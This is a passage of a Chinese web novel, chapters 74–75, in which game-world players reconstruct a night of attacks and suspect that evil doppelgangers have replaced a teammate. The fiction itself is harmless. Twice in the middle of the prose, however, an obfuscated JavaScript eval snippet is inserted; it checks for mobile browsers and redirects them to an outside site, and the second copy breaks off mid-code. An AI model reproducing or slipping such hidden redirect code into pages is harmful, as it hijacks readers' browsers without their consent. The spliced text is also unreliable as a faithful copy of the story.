师襄和曲小蕨也在这里,两个人看向她,都在等待着仇非的答案。仇非抿了抿唇,又很快地瞥了一眼柳七刀,他已经坐到了谢不若的身边,两个人都面朝着帐篷,似乎也在看过来。 门帘放下了,营地里又恢复了寂静。 曙光朦胧,篝火燃到尽头,余烬还冒着白烟。柳七刀从背包里掏出水囊灌了两口,强行让自己打起精神来,又看向谢不若。 谢不若盘腿坐着,抬着头,看着天边的流云发呆。他很少有这样安静的时候,柳七刀视线下移,便发现他指间夹着一片小小的羽毛。 这一整夜,节奏太快、危险太多,忙碌到已经来不及为一只小鸟悲伤。 只有这样寂静的时刻,才能从回忆里瞥见一些分离的影子。 沉默了半晌,谢不若才怅然道: “早知道就给它起个名字了。” 难过归难过,时间总还是要继续向前走的。柳七刀平复了一下心情,再转头问谢不若:“所以,他们是怎么受伤的?” “我来讲吧。” 两人一起回头看去,却是裴洛川走了过来。先前他站在人群的最后面,这会儿柳七刀才发现,他的脸色几乎是所有没受伤的人中最差的,甚至颊边还有没擦干净的血迹,一向注重的仪表也顾不上了,头发和衣服都不算齐整。 柳七刀本想问他也受伤了么,话没出口,就被旁边的谢不若捣了一下。 “那是祝灵正的血。”谢不若悄声对他道。 裴洛川抬手撑住眉心,闭了闭眼,才坐到他们身边,缓缓地讲起营地里发生的事情,时间拨回至深夜,滚烫的血落到他眼睛里,眼前的世界顿时变得鲜红一片。 裴洛川不敢置信地望向落后他几步的祝灵正。 这里明明只有他们两个人,但他回头的时候还是晚了,那一瞬间究竟发生了什么,已经无从知晓。祝灵正睁大了双眼,显然这次袭击同样在他的意料之外;裴洛川视线下移,便看到他心口处正洇开大片血迹,顷刻间便染透了白色的前襟。 祝灵正闷哼一声,他的反应足够快了,在感受到疼痛的瞬间便抬手结印下压,随着耀眼光芒迸发出来,他身边的时间就像凝结了一样,飞溅的鲜血停在半空中,又化为金色的光点。 巨门北落,吉神相扶! 然而,还未等涌回胸前的伤口,这些金色光点便忽然暗淡起来,飘飘摇摇,竟似要直接消散。祝灵正胸口起伏,艰难地喘息了两下,金色光点纷飞逸散的同时,他也失去了意识,脱力倒向地面。 夹在指间的符咒连同魂灯齐齐坠地,但祝灵正被南风吐月迅速攀升的藤蔓托住了。裴洛川颤抖着手去小队仓库中拿药,有人的速度比他更快,陆厌幻光步出现在祝灵正身后,已经掏出厚厚的精制绷带按在伤口上。 ……三、二、一。 随着南风禁锢的消失,被飞快缠好的绷带转眼间就被鲜血完全浸湿,软塌塌地垂了下来,彻底报废了。陆厌满手淋漓的血,托住祝灵正的后背,转头朝他和急急赶来的李千驰吼道:“快啊!” 讲到这里,裴洛川停顿了一下,低声道:“我们抢救了好久。所有药,能用的技能,都用了。” 尽管他已经在试图用这句话一笔带过昨夜的凶险,但仍然能感觉到死亡阴影还笼罩在他们的上方。那时候,过于巨大的震撼和冲击让他眼中的世界变得一片纷乱,看着祝灵正逐渐微弱下去的呼吸和心跳,他几乎无法思考,只能机械地重复着手上的动作。 死亡正在降临,正在他们的面前蚕食着同伴的生命。 在匆忙敷药时,他看清了那道伤口——从后往前的锐器贯穿伤,差一点就要刺中心脏,比以往的任何一次袭击都要狠辣,动手的人明明白白地在这里要祝灵正的命。 可是这里哪有人呢?他看着陆厌和李千驰一道抬着祝灵正朝远处那片狮啸阵法的金光跑去,捡起掉落在地的玉女守门。魂灯一线烛光摇摇晃晃,微弱到随时都有可能熄灭,裴洛川回头看了一眼树林,漆黑莫测的深处,不知道藏有多少不怀好意的眼。 74. 第七天·翡翠瑶池(七十四) “那之后的事情,就很简单了。” 裴洛川云淡风轻道。 他之所以能这样对柳七刀进行讲述,只是因为那个痛苦而漫长的黑夜已经过去了。对于不在场的柳七刀来说,把有的事情一笔带过,才不会变成他心上沉甸甸的负担和内疚。 事实上,那一晚对于留在营地的他们来说确实有些绝望了,队友们在最需要帮助的时候陆续回归,带来的却都是一个接一个的坏消息。同样手握治疗技能的龙葵受伤情况不比祝灵正好多少,去追击袭击者的柳七刀下落不明,还有曲小蕨看见的那个行踪和神色都十分诡异的柳七刀——最后这一点,裴洛川并没有讲出来。 暗处的袭击者显然对他们了如指掌,很多人遭到了袭击,但偏偏是两个拥有治疗技能的玩家重伤,这不可能是巧合。考虑到夜里发生的事情和颂命信上强调的“夜晚”,再加上龙葵和祝灵正的情况不容乐观,他们也不敢贸然去寻找柳七刀了。 柳七刀听完裴洛川的讲述,五味杂陈,一时间不知道该说什么。 刚回到营地时,发现他迷路的这段时间里,大家并没有在外面寻找他,柳七刀本来心里还有点失落——只是非常不起眼的一点,本来也打算忽视掉的失落;不过,走进帐篷时,这点失落很快就化为了自责。 他也不傻,能够感觉到,裴洛川已经在照顾他的心情了,但偏偏就是这种体贴让他更加内疚。 我那时候应该去追“袭击者”吗?不应该吗?如果不去追“袭击者”,就不会遇到梁生和道士,就无法了解恶面的情报;但NPC也只是误打误撞才遇上的,龙葵却的确是因为我的疏忽大意才受了这么重的伤,其他人也在承受着比我更大的压力…… 柳七刀乱七八糟地想着这些事情的同时,裴洛川也在打量他。 柳七刀回来之前,他们便交流过了情报。围绕着曲小蕨在天蛛视野里见到了“柳七刀”的事情,大家目前有两种猜测,第一是曲小蕨看到的那个“柳七刀”很可能是与人机玩家性质相同的复制体,翡翠瑶池中存在两个“柳七刀”;第二则是非常糟糕的情况——柳七刀体内的灵魂可能已经在不知不觉中被换掉了,就像华清宫那时候的师襄。 不过那个乐师寄居在师襄身体中的时候,可是一直在避免和玩家们进行过多接触的,这一点却和柳七刀不一样。单看他这愁眉苦脸的表情,有点心事全都写在脸上了,裴洛川叹了口气,这熟悉的感觉,根本就是柳七刀本人,如假包换。 所有的事情说完之后,他自己也舒服了很多,不然还真的有点ptsd的感觉。裴洛川深呼吸,活动了一下僵硬的肩背,越过柳七刀,朝谢不若递去一个询问的眼神,谢不若点了点头,表示肯定。 “有点困了,我也去躺躺。”他松了口气,扶着膝盖站起来,用力拍了拍柳七刀的肩膀,幻想着如果这身体里真有第二个灵魂的话能被震出来,“你们也留点时间休息,其他的事情等大家都醒了再说。” “好。”柳七刀说。他被锤得龇牙咧嘴,不明白为什么回来之后大家都很喜欢这个动作。 睡觉肯定是不能睡的,柳七刀拍了拍自己的脸,把乱七八糟的念头统统赶走,又开始追问谢不若他走之后发生了什么事情。 谢不若把从所有人那里听来的、关于这一夜的综合版本一五一十讲完,看着他在那里皱着眉头一脸纠结地思考,纳闷道:“咋了,烧脑啊?” “确实有点。” 柳七刀实话实说。搞明白发生了什么之后,对他来说,现在的确要进入烧脑时间了。 根据裴洛川所说,祝灵正遭到袭击的那个时间点,留在营地的只有乙丑湖队伍,也就是算上祝灵正在内的行守、陆厌、李千驰和裴洛川五个人。 与此同时,在甲丑湖采摘伤阳草的,是他们队和甲子湖队。然而,他们很快就因为“假火光”而走散,其中祁云纵和谢不若明确遭到了袭击,他和龙葵立刻赶到了现场,随后他离开甲丑湖范围追入丛林,这时候不在的人有方叱羽、曲小蕨、亓秀秀,殷炽、付井仪、尹有攸,一共六个。 最后剩下的队伍是甲丑湖队,里面有仇非、叶九溪、师襄、唐逐星和卫山河,他们五个当时应该正在前往甲丑湖支援的路上,首先遇到他们的是方叱羽和殷炽,之后这七人一直共同行动,直到发现遇袭的龙葵三人,于是十人又分为两队,一队由仇非、叶九溪、卫山河、师襄和龙葵、祁云纵、谢不若组成,径直回到营地,而另一队则是付井仪、方叱羽、殷炽、唐逐星、尹有攸,去寻找失散的亓秀秀和曲小蕨,还有柳七刀自己。 通过天蛛寻路,秀秀和小蕨很快与大部队会和,并加入了寻找柳七刀的队列之中。这一队人在发现营地出事后,放弃寻找柳七刀,也选择了返回。 这样梳理下来,柳七刀却有点迷惑了。 如果动手的恶面在玩家之中,该如何让自己不被发现?就算走散的时候,每个人身边也都有同行的同伴,换句话说大家都有不在场证明的人证。他被调虎离山去追的那个假袭击者,身形又很诡异,看上去也不像是玩家的样子,难道翡翠瑶池里除了恶面还有其他东西? 不懂啊,实在不懂。 “bro,你还记得落水的细节吗?”他问谢不若。 一说起这个,谢不若就气得牙痒痒:“当然记得,不知道哪个孙子,在我弯腰摘伤阳草的时候创了我一下,湖边那么多淤泥本来就滑,一脚踏空,就被卷进去了。” 在谢不若弯腰摘草的时候出手……那么黑的情况下,袭击者竟然能挑选这么精准的时机,柳七刀皱起眉:“然后呢?” “我呛水了,然后祁云纵就跳下来捞我了。”谢不若道,“那湖是真有点邪门,他拉着我怎么也游不上去,但凡龙葵来晚点,真就淹死在里头了。” “这样。”柳七刀道,忽然又想到一个问题,“不对,你是被创飞的?” 被创飞,这听起来简直太蠢了,但偏偏又是事实,谢不若不情不愿地承认了。 但这样一来就很奇怪——龙葵是被锐器伤害的。 按理说,谢不若摘草的时候警戒性应该还没有龙葵重,袭击者如果也给他一刀的话,受伤加溺水,即使有祁云纵帮忙,也很难摆脱暗流了,这样一来,搞不好三个人都会交代在湖里。如果袭击者的目的是杀死他们,为什么不这么做呢? 想到这里,柳七刀突然一个激灵,出了一身冷汗,一把拉住谢不若,急急问: “你掉进湖里的时候,火把有没有灭掉?” “灭了啊。”谢不若咋舌,“还防风火把呢,我摔下去的时候就灭了。” 柳七刀松了口气,有些不放心,再度确认:“你们仨都没看到湖面的倒影吧?” “没啊,黑黢黢的,一点光都没有,能看见什么。”谢不若疑惑道,“你怎么和付井仪问一样的问题?” 付井仪?柳七刀一愣,付井仪知道了? 他顿时感觉有点窝心,难道人和人的智商差别真的有那么大吗? 谢不若却没放在心上,非常谨慎地斟酌了一下措辞:“等会儿大家都起来之后,我们有件事儿告诉你……怪吓人的,可能得做好心理准备。” “正好,我也有很吓人的情报。”柳七刀道。 谢不若说话向来喜欢夸大其词,他觉得再吓人也不能比恶面更吓人了,心说等会儿听完我的情报你们才是真的要吓一跳。正这么想的时候,柳七刀忽然感觉背后有人在看他,他回头一看,就看见离他们最近的那顶帐篷门帘掀起了一角,从中露出一双圆溜溜的大眼睛——是曲小蕨。 他还没来得及打招呼,却看见曲小蕨一和他对上目光,便立刻缩回了帐篷里,好像门帘烫手一样,一套连招看得柳七刀丈二和尚摸不着头脑,不知道这孩子又怎么了。 帐篷里,亓秀秀看曲小蕨缩回来,轻轻摸了摸她的头,安抚道:“既然谢不若认他是真的,那应该就没什么问题了。” 曲小蕨点点头,还不放心,又问旁边闭目养神的仇非:“非姐,你觉得呢?” 门帘被放下时留了一条缝,一线明亮的日光漏进来投在地面,在光线暗淡的帐篷里,像一汪明晃晃的水。仇非睁开眼,静静地注视着那方天光,片刻后才道:“目前看来,确实没什么破绽。” 一边假寐的师襄听到这句话,倒是掀开眼皮扫了一眼仇非。 破绽,多么耐人寻味的用词,好像先预设了柳七刀为“假”这个前提,再为他做无罪推定一样。作为朝夕相伴的队友,在这个时候,这种极致的冷静未免也有点太不近人情了。 “留在营地的人被袭击了,一起出去寻找伤阳草的人也被袭击了,脱离大部队独自行动的人却能全身而退,从逻辑上实在是说不通。”仇非仿佛看出了师襄的想法,淡淡道,“不过,我也无法全然赞同付井仪的猜测,在我看来,这个柳七刀没有任何问题,或许这其中还存在着一些我们没有发现的细节。” “还是听听柳七刀怎么说吧。”师襄坐起来,活动了一下手腕,卷起门帘。明亮的光线涌进帐篷,四个人同时眯起了眼睛,亓秀秀更是在心里无声地叹了口气。 短暂而平静的休息时间结束了。 曲小蕨打着呵欠钻出来,伸了个大大的懒腰,四处观望了一下。 营地里一共就那么几顶帐篷,伤员单独占用一顶,余下的就数她们这顶帐篷最宽敞,就算谢不若和柳七刀没休息,另外两顶帐篷还得各自挤下六个成年人,估计滋味也不会太好受;果然,旁边那顶帐篷门帘一掀,李千驰骂骂咧咧地扯着落难侠客出来了:“你一个NPC还来挤什么,腿都伸不开!” 落难侠客被他揪着衣领,倒也不生气,解释道:“我也受伤了嘛。” “就那点破伤?早结痂了。”唐逐星也掀开门帘,吐槽道。 “各位侠士答应过要助我疗伤,可不能言而无信啊。”落难侠客看他一眼,似笑非笑,唐逐星怕他一言不合又哇哇吐血,耸了耸肩,举起双手,示意自己闭嘴了。 曲小蕨探头往他身后看去,看到付井仪正背对着这边,一丝不苟地整理自己的发冠,动作还是一贯的慢条斯理,似乎并没有受到什么影响。 看着看着,她的呼吸就有点急促起来。 曲小蕨知道那是什么感觉,她摸了摸自己嗵嗵乱跳的心口,看向和谢不若一起跳下岩石、向这边走来的柳七刀。 “别紧张。”师襄注意到她的异常,轻轻道,曲小蕨小声应了,又回想起昨夜营地的情景来。 那时候,在龙葵和祝灵正都被安顿好了之后,他们也有过一段能够安静整理情报的时间。落难侠客已经睡了,玩家们围着篝火,聊着付井仪关于颂命站在玩家对立面的推测,话题又不可避免地来到了天蛛视野中的那个“柳七刀”身上。 “柳七刀”是真是假?如果是真,为什么会有那样邪门的反应?如果是假,真的柳七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691222|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀的又为何迟迟未归?几度遇袭,大家已经不敢再贸然走进夜晚的山林了,这些问题,在柳七刀回来之前,没有人能够给出答案。 讨论如火如荼,曲小蕨心中却始终挂念着付井仪的一句话,看着面前噼啪跳动的篝火,她犹豫再三,还是忍不住问了出来:“小付老师,那时候你为什么会那么说?” 付井仪正在沉思,篝火给他的侧脸渡上一层暖橙色的阴影,闻言看向曲小蕨:“什么?” 其他人也好奇地看了过来,被齐刷刷地注视着,曲小蕨有点紧张,比比划划试图唤醒大家的回忆:“就之前我说看见了‘柳七刀’的时候,你不是说,如果是这样的话,你就明白为什么颂命会那么了解我们了……?” “为什么?”师襄是个急脾气,听到曲小蕨这么说,便立刻问付井仪,“难道你已经想明白了?” 付井仪没有立刻回答,而是环视了一圈围坐在篝火边的玩家们,目光着重落在仇非、祁云纵和谢不若脸上。看着这三个柳七刀的队友,他沉声道:“虽然我这么说了,但是这个猜测太过于惊人,也许你们无法接受。” “啥呀?”祁云纵皱起眉头,“别做谜语人。” “能不能接受,也得先说出来才知道。”仇非也道。谢不若捏着鹦鹉的一根尾羽,尽管没什么精神,还是跟着点了点头。 “好,我的猜测就是,现在的柳七刀已经不是你们的队友了。”付井仪开门见山,一开口就抛出一颗重磅炸弹,“他和颂命处于同一阵营,是我们的敌人。” “……” 这消息太过震撼,一时间没人说话,半晌,仇非才冷冷道:“理由。” “其一,小蕨亲眼所见的‘柳七刀’,显然和平时的他完全不同;其二,袭击者对我们的人员和门派构成几乎了然于心,甚至能掌握队伍的行动轨迹;其三,那封无法解释的信,至少能够证明,柳七刀和颂命之间存在着我们并不清楚的联系。” 看到众人都陷入沉思,付井仪又补充道:“这个猜测,是建立在我关于颂命的推理之上的,一切都以它为前提。不过,我的意思并不是指柳七刀背叛了我们,可能存在两种情况,他被复制,又或者他被替换,但总而言之,现在和我们相处的柳七刀应该不是原来的柳七刀了。” “这个师襄熟啊。”陆厌听了一耳朵,忍不住说,“替换,那不就是华清宫?” “如果柳七刀被换掉了,你觉得那是什么时间发生的事?”师襄没理陆厌,径直问。 “刚到翡翠瑶池的第一夜。”付井仪道,“那段时间里为了寻找落难侠客,所有人都在分头行动,在这个时间点动手,几乎可以做到神不知鬼不觉——” “不对!”一直无精打采的谢不若却出声打断了他,反对道,“那后面柳七刀的表现一直很正常,不可能被换掉!再说了,尹有攸遭到袭击的时候,不是柳七刀救下的人吗?” 他看向方叱羽,急急问:“你也看到了,对不对?” “对的。”方叱羽点点头,“我和雕兄赶到的时候,正好看到柳七刀拉住了尹有攸,两个人挂在快要断掉的老树上面,已经很危险了。” “那在此之前的过程你看到了吗?”付井仪却反问他,“你到的时候,只看到了一个‘结果’,而前面有攸遇袭的所有过程,大家都是听柳七刀一个人讲述出来的,实际上并没有人真的亲眼看到,对不对?” “这……”方叱羽被他问得一愣,迟疑道,“可当时他们俩都很危险啊,如果我晚来一步的话,两个人都会摔下去。如果是假的,这也太冒险了吧。” “如果他知道你要来呢?”陆厌却想通了,“他也有自己的眼睛——颂命和他的动物们!” “我觉得,不像柳七刀。”尹有攸说,然而没有人听他的话,大家很快又陷入了新一轮激烈的讨论中,陆厌越想越觉得有道理:“这么做的理由也很简单,你们打过狼人杀没?里面有一种狼就叫做金刚狼,会优先坐实自己的好人身份。的确,有救下尹有攸这事在先,后面即使大家想到是队伍内部出了问题,也很难再怀疑到他的身上了。” “你要是拿狼人杀说事的话,如果柳七刀属于金刚狼,那他干嘛要对着天蛛狞笑?”李千驰举手反对,“这不是纯纯来自爆吗?” “因为那个时候,他们已经对我们团队里唯二有治疗队友技能的玩家下手了,不需要再伪装了。”付井仪道,“但是这个计划出现了一点纰漏——龙葵和祝灵正都还活着,他跳早了。” 叶九溪听得一愣一愣的:“那他还会回来吗?如果暴露了的话。” “不知道,但如果是我的话,一定会的。”付井仪笃定道,“不仅会回来,我还会带着至关重要的情报回来——我会声称队伍里存在内鬼,将指向自己的矛头推向其他玩家。如果自身的嫌疑无法洗净,那么就将水搅浑,破坏玩家的整体和谐,这也是狼人杀里常见的玩法,不是么?” 回到现在,曲小蕨感觉自己已经紧张得手心出汗了。她站在人群背后,紧紧地盯着正在滔滔不绝的柳七刀,等待着他会说出什么样的话来。 “所以,‘钅’是镜子,‘丶面’是恶面的意思!”柳七刀大声道,“我们的队伍里,很可能已经出现了恶面,有人已经被换掉了!” 咚咚、咚咚。曲小蕨清晰地听见了自己的心跳声,但情绪反而渐渐稳定了下去。 他果然这么说了…… 他果然这么说了! 75. 第七天·翡翠瑶池(七十五) 柳七刀学生时代的噩梦,莫过于大课间疯玩之后回到教室里发现等待着他的是一片安静,同学们都坐在自己的座位上,齐刷刷地盯着他,表情内涵丰富,令人不敢解读。 他现在的感觉就跟那时候差不多。 这条情报明明至关重要,但大家的反应也太奇怪了,不在他的任何一种预想里;或者说,他们几乎没有什么反应,只是不约而同地用一种非常复杂的表情看着他。 “七刀,过来。” 仇非朝他招了招手。柳七刀满头问号,但还是跟着她走到了一边。 柳七刀一走,玩家们之间的气氛才活泛起来,但也没有热闹到哪儿去。每个人都在努力梳理目前的情形,试图从各种混乱的可能性中捕捉到真相的一点头绪。 “小付老师,现在……” 曲小蕨轻轻拉了拉付井仪的衣角,抬头却发现他根本没关注柳七刀那边,而是从怀里拿出那张他和殷炽一起整理的、颂命信件的拓印版,皱着眉头仔细比对起来。 “恶面,镜。”他用食指虚空描摹着字形,露出了然的神色,又将纸递给旁边的殷炽,“确实是这两个字。” 殷炽接过纸研究了一下,将那些凌乱的线条按照这两个字的笔画进行梳理,完全可以吻合。 “不像假的。”他赞同道,同时暗地里松了口气。 俗话说,外行看热闹,内行看门道。殷炽是专业的,他分得出来,柳七刀对白狐和梁生的描述非常真实也具备细节,显然是亲眼所见而非随意杜撰,而白狐和梁生都是浪客行的原生NPC,应该不至于提供错误情报。 在这个基础上,柳七刀的嫌疑基本上便可以洗清了——曲小蕨所见的“柳七刀”实际上是恶面,而他们之前怀疑的一切都只是巧合而已。 “又是和轮回珠一样脱离了剑三原剧情的设定,这的确在意料之外。”付井仪道,看向另一边仍然在听仇非解释来龙去脉的柳七刀,“如果翡翠瑶池的真实机制是所谓的‘恶面’,颂命的善意就无需质疑了,这一点,之前是我判断太过武断……但随之而来的新问题,似乎更加严重。” ——如果袭击者从一开始就在他们之间,那到底是谁被换掉了? 片刻后,满脸懵逼的柳七刀跟在仇非后头回来了。 他的心情十分复杂,要说伤心也不至于,但总归还是有点闷闷不乐的。刚知道恶面的设定时,柳七刀还在担心其他人互相猜忌,没想到大家眼里最有问题的那个人其实是自己…… 不过这也难怪,他在脑子里复盘了一遍昨夜的行动轨迹,也觉得有点离谱了,不知道自己是哪里来的勇气单走的,要是站在其他人的角度上,肯定也是优先怀疑脱离大部队的那个人,更别提天蛛还见到了另一个“柳七刀”。 想通之后,再和目前他们面临的危机相比,那点失落就显得不那么重要起来,甚至付井仪遥遥看到他走过来,还对他说了声抱歉;于是柳七刀最后一丝郁闷也烟消云散了,飞速地把自己调理好,又挤回人群,开始和大家一起听大佬们基于最新情报的最新分析。 “那这样看来,目前的翡翠瑶池其实是有两条主线。明线是完成落难侠客布置的任务,暗线就是防止恶面的袭击,当然我们目前不清楚恶面到底是什么机制,这是最棘手的一个问题。” 仇非马不停蹄地加入了分析组,道。 师襄也赞同:“这事不能拖,我建议大家立刻各自确认一下同伴的真伪。” 这话就说得很吓人了,有点规则怪谈的意思。就算柳七刀是所有人里最早知道恶面存在的人,还是感觉一股凉意从脚底往上冒,总觉得有人在背后盯着他。 他看向身边的队友,便听见谢不若对祁云纵道: “Hello.” 祁云纵秒回:“Hi, how are you?” 柳七刀:“...I’m fine thank you, and you?” 三人异口同声道:“自己人自己人自己人。” 他们声音不算小,师襄在旁边听得一脸无语,仇非倒是已经习以为常,完全不觉得丢人了,很平静地问她:“你觉得这样确认真的有效果吗?” “找点事做,起码先把军心稳住。怀疑本身就是一件非常痛苦的事情,不能让大家陷入到这种情绪里,第五天结束之后我可太懂了。”师襄道,“当务之急,应该是先来梳理一下跟恶面有关的事情。分析一下大家的行动轨迹,结合恶面产生的条件,也许会有所收获。” “是这样。”付井仪微微颔首,“根据柳七刀转述而来的梁生的说法,白天在湖水中照出身影,就会在夜晚产生恶面。加上小蕨在天蛛视野中看到了行为异常的‘柳七刀’,基本上可以确定,恶面就是独立于本体之外的玩家复制体,但和人机不同,它应该是玩家的完美复刻态,单凭那种简单的问答肯定是分辨不出来的。” “复制体……那往好处想,说不定现在我们之间并没有恶面。”仇非道,“本体和复制体同时出现的话一定会露馅,所以这些恶面大概率只有在大家分头行动的时候才会出现在其他人面前,但我还没想通,它们是如何展开袭击的。” “太超前了,先别想这个。”师襄摇摇头,“做最糟糕的假设,假如现在已经有恶面代替本体混在我们之间了,那它们肯定不会承认自己在白天照过‘镜子’。怎么说,大家直接按照临时分队,确认一下都有谁靠近过湖边?就算做任务的时候不得不分头行动,也多多少少会注意到身边的人吧。” 正如付井仪所言,玩家们之间的问答果然没有发现任何问题,师襄提出的尝试在此时就显得非常重要,大家重新确认了一下分队情况,便直接进入研究不在场证明的环节。 甲子湖五人队,成员是谢不若、祁云纵、付井仪、尹有攸、龙葵。这一队情况是最复杂的,不仅因为尹有攸遭到了袭击,还有一部分地形原因——甲子湖面积广阔,湖岸线绵长曲折,非常复杂,又位于高处、瀑布众多,对视野和听觉的影响都非常巨大。 当时最靠近湖畔的应该是祁云纵,付井仪和尹有攸则是一南一北分头在湖畔的树林边寻找药草;谢不若和龙葵在树林中采药。祁云纵和付井仪的视角可以全程相望,互相都能佐证彼此没有靠近过湖边,偶尔还能看到谢不若和龙葵的身影,谢不若则是能确定尹有攸没有靠近湖边,尹有攸只有部分时间能够看到其他人,只能确定在可以看到队友的时候无人靠近湖边,而龙葵重伤未醒,暂时无法参与。 甲丑湖五人队,成员是仇非、叶九溪、唐逐星、师襄、卫山河。这口湖地势高,面积小,但林木茂密,会遮蔽视线。除了卫山河因为洁癖不愿靠近泥泞的湖边而一直在树林中徘徊、所以一直处于大家的中心视线内之外,其他人都无法保证时刻相望,但起码可以确定在能看到彼此的时间里,没有人在湖面照过‘镜子’。 乙子湖五人队,成员是柳七刀、方叱羽、亓秀秀、曲小蕨、殷炽。这口湖是面积最小、地势最低也最靠近营地的,大家的不在场证明和甲丑湖队基本情况相同,除了倒霉蛋柳七刀。虽然大家都在纷纷安慰柳七刀照“镜子”不是他的错,但他本人却是绞尽脑汁也想不起来自己何时靠近过湖边,完全搞不明白这恶面是如何产生的。 乙丑湖五人队,成员是李千驰、裴洛川、行守、陆厌、祝灵正。乙丑湖距离营地最远,面积也是四口湖中最大的,对这一队的不在场证明分析可以说是十分倒闭,柯南来了都得镜片反光——五个人基本上处于走半个小时谁也见不到谁的状态,虽然都说自己没有靠近过湖边,但又不能彼此证实。 “……”师襄看着这些完全不合格的不在场证明,总感觉好像是在做无用功,搞错了努力的方向,不禁陷入沉思。 “我觉得吧,恶面已经混进来这事,应该不用太担心。”陆厌嘿嘿笑了两声,师襄直觉他没憋好屁,果然便听见他道,“你想想,之前华清宫你被那个乐师附体的时候就蛮离谱的,很容易就发现异常了,说话都文绉绉的,简直是古风小生,小女——哎哎。” 他看着师襄作势拨动琴弦的手,非常识趣地闭嘴了,走到另一边去和殷炽、卫山河讨论起来。 每支队伍都在如火如荼地讨论,师襄却不想参与,只想自己琢磨。 她想来想去,还是将重点放回了甲子湖,毕竟这队有个一开始就被袭击的尹有攸。 假如说恶面想杀掉龙葵和祝灵正是因为他们有治疗能力,那攻击尹有攸的话,大概率就是在针对他异于常人的敏锐听力了。可甲子湖本身就有瀑布存在,对听力已经是一大削弱了,恶面还在担心什么? 想到这里,师襄忽然浑身一僵,整个人如坠冰窟,顿时出了浅浅一层冷汗! 一个之前被忽视的问题出现在了脑海中,越是深入细想,她就越震惊,思考时抵在唇边的手都开始微微颤抖起来,心中满是不可置信,甚至非常罕见地感到了一丝无措。 这可能吗? “师襄。” 裴洛川一脸纠结地走过来:“刚刚你们说的那个恶面机制,我有个问题想不通……” “我知道你要问什么。”冷汗顺着师襄的颊边滴落,她定了定神,幅度极小地摇了摇头,压低声音道,“别问!” 裴洛川原本还不明就里,就见师襄以长歌校服宽大的袍袖掩饰,悄悄给他比了一个方向。 “别告诉任何人。”师襄把声音放得很轻,几乎是耳语的程度,连口型的翕动都压缩到了最小,“谁也不要信。” 不要信…… 那是颂命给柳七刀的信上,特别强调的一句话。 并没有人注意到这边的暗潮涌动,因为他们目前最棘手的一个麻烦又找上门来了。 落难侠客休息够了,摆出那副要死不活的样子,清了清嗓子,开始吸引玩家们的注意力。等到大家都朝他看过去了,他便理直气壮道:“我有一事,还请各位相助。” “找会力草还是劲骨草?”方叱羽没好气道。 落难侠客偏要和玩家对着干:“不,今天不找药草了。我饿了。” “气血亏损,伤势恢复,应该进补。”他理直气壮道,“请各位侠士为我猎来野兔二百只吧。” “噗——” 李千驰正在喝水,差点吐落难侠客一脸。 他匪夷所思道:“草药三百棵也就算了,你吃得下两百只兔子?” “的确。”落难侠客破天荒地赞同了李千驰的说法,这反而让玩家们纷纷警惕起来,想也知道这个麻烦精NPC不会那么好心,果然,就听见他补充道:“那么便捉活的吧。” “……” 饶是已经有了心理准备,听到这种要求,大家还是纷纷眼前一黑。 李千驰挥舞着拳头就要冲上去,被方叱羽扯住直喊冷静:“别、别,再说下去等会儿那兔子都该咱们养了!” 别说养兔子,柳七刀丝毫不怀疑,过两天他们就该给兔子大家庭养老送终了。不过翡翠瑶池的地图这么大,想来应该是有这个数量的野兔的,平均下来每人只需要活捉十只兔子,虽然任务的确是有些离谱了,但也还能接受。 他这样想着,却突然发现,不知为何向来最烦落难侠客的师襄这次却格外冷静,毫无抡琴拔剑的意愿,垂着眼也不知道在想什么。 “对了。”落难侠客见没人再反对了,一拍手又道,“既然前两天各位似乎对我的分队不太满意,那么这次也不必成队行动了。诸位侠士大可以各显神通,分开走嘛。” “不满意归不满意,零个人要求分开行动啊!”亓秀秀怒道,“别在这种不该体贴的时候体贴!” 落难侠客捂着心口,露出了你再说我当场死给你看的表情,显然是不打算回心转意的。 “单人行动。”仇非若有所思道,“这也是提升难度的表现吗?” 师襄却在这时候开口了:“等一下,我们有两位朋友受伤了,怎么也得有人留下来看护他们吧。” “好啊,那便留两个人在这里。” 出乎意料,落难侠客竟然很痛快地答应了这个要求,这会儿他倒是初具人形善解人意了,好像刚刚没要求玩家们活捉两百只兔子一样。 “那就留……卫山河和裴洛川吧。” 师襄很快就做出了决定。 “无敌、春泥和南风,能自保也能保人,留他们俩刚刚好。”她的理由也很充分,为了防止落难侠客听见又应激,还特地压低了声音,“不过这地图兔子应该不难抓,我们没必要所有人都进山,可以多留几个人在营地附近,防止再出什么意外。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“知道知道。”祁云纵敷衍他。 “那就好。”落难侠客听到肯定的回答,便又露出笑容来,满意道,“我会看着你们的。” 他后半句话说得轻飘飘的,有一种特别的意味,柳七刀听在耳中,明明是晴朗的艳阳天,背后却泛起一阵莫名的寒意。 他已经走过去了,又忍不住回头看了落难侠客一眼。落难侠客留给他一个捣药的背影,粗布麻衣,微微弓着背坐在那里,乍一看和游戏中的NPC建模没有半分区别,非常无害的样子。 这话什么意思?他真有能够监督玩家的手段还是故弄玄虚? 宁可信其有,不可信其无。有浪客行的规则在先,即使柳七刀有所怀疑,也不敢拿命去验证,只能忍气吞声,权当落难侠客说的都是真话;只是这样一来,才刚刚聚齐的饿了么就要在此再度分别了。 “注意安全。” 仇非留下四个字,一手擎盾,一手提刀,率先走向丛林深处,很快就只剩一个模糊的背影,祁云纵道了声晚上见,也选了个方向离开了。 不知道为什么,柳七刀看着他们俩的背影越来越小,最终消失不见,心头竟然涌起一股莫名的慌乱,好像有人扼住了他的喉咙,连呼吸都变得困难起来。 他一把扯住准备出发的谢不若:“等等!” 